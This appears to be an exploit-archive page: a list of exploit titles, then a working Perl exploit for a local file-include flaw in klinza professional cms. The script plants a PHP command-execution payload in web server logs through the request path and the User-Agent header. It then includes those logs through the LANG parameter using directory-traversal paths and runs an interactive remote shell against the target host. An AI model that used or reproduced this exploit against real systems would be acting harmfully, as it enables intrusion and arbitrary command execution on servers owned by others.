
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
91 lines
No EOL
3.5 KiB
Perl
Executable file
91 lines
No EOL
3.5 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/37127/info
|
|
|
|
The 'klinza professional cms' project is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
|
|
|
|
Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
|
|
|
|
This issue affects 'klinza professional cms 5.0.1' and prior versions.
|
|
|
|
#!/usr/bin/perl
|
|
#klinza cms <= 5.0.1 Local File Include Exploit
|
|
#Discovered by cr4wl3r
|
|
#Contact : cr4wl3r[4t]linuxmail[dot]org
|
|
use IO::Socket;
|
|
use LWP::Simple;
|
|
@apache=(
|
|
"../apache/logs/error.log",
|
|
"../apache/logs/access.log",
|
|
"../../apache/logs/error.log",
|
|
"../../apache/logs/access.log",
|
|
"../../../apache/logs/error.log",
|
|
"../../../apache/logs/access.log",
|
|
"../../../../../../../etc/httpd/logs/acces_log",
|
|
"../../../../../../../etc/httpd/logs/acces.log",
|
|
"../../../../../../../etc/httpd/logs/error_log",
|
|
"../../../../../../../etc/httpd/logs/error.log",
|
|
"../../../../../../../var/www/logs/access_log",
|
|
"../../../../../../../var/www/logs/access.log",
|
|
"../../../../../../../usr/local/apache/logs/access_log",
|
|
"../../../../../../../usr/local/apache/logs/access.log",
|
|
"../../../../../../../var/log/apache/access_log",
|
|
"../../../../../../../var/log/apache2/access_log",
|
|
"../../../../../../../var/log/apache/access.log",
|
|
"../../../../../../../var/log/apache2/access.log",
|
|
"../../../../../../../var/log/access_log",
|
|
"../../../../../../../var/log/access.log",
|
|
"../../../../../../../var/www/logs/error_log",
|
|
"../../../../../../../var/www/logs/error.log",
|
|
"../../../../../../../usr/local/apache/logs/error_log",
|
|
"../../../../../../../usr/local/apache/logs/error.log",
|
|
"../../../../../../../var/log/apache/error_log",
|
|
"../../../../../../../var/log/apache2/error_log",
|
|
"../../../../../../../var/log/apache/error.log",
|
|
"../../../../../../../var/log/apache2/error.log",
|
|
"../../../../../../../var/log/error_log",
|
|
"../../../../../../../var/log/error.log"
|
|
|
|
);
|
|
if (@ARGV < 3){
|
|
print "
|
|
========================================================================
|
|
| klinza <= 0.0.1 Local File Include Exploit
|
|
| Usage: klinza.pl [target] [path] [apachepath]
|
|
| Example: klinza.pl target.com /LANG/ ../logs/error.log
|
|
| coded by : cr4wl3r
|
|
========================================================================
|
|
";
|
|
exit();
|
|
}
|
|
|
|
$host=$ARGV[0];
|
|
$path=$ARGV[1];
|
|
$apachepath=$ARGV[2];
|
|
|
|
print "Injecting code in log files...\n";
|
|
$CODE="<?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?>";
|
|
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Connect Failed.\n\n";
|
|
print $socket "GET ".$path.$CODE." HTTP/1.1\r\n";
|
|
print $socket "User-Agent: ".$CODE."\r\n";
|
|
print $socket "Host: ".$host."\r\n";
|
|
print $socket "Connection: close\r\n\r\n";
|
|
close($socket);
|
|
print "Write END to exit!\n";
|
|
print "IF not working try another apache path\n\n";
|
|
|
|
print "[shell] ";$cmd = <STDIN>;
|
|
|
|
while($cmd !~ "END") {
|
|
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Connect Failed.\n\n";
|
|
print $socket "GET ".$path."/funzioni/lib/menulast.php?LANG=".$apache[$apachepath]."&cmd=$cmd HTTP/1.1\r\n";
|
|
print $socket "Host: ".$host."\r\n";
|
|
print $socket "Accept: */*\r\n";
|
|
print $socket "Connection: close\r\n\n";
|
|
|
|
while ($raspuns = <$socket>)
|
|
{
|
|
print $raspuns;
|
|
}
|
|
|
|
print "[shell] ";
|
|
$cmd = <STDIN>;
|
|
} |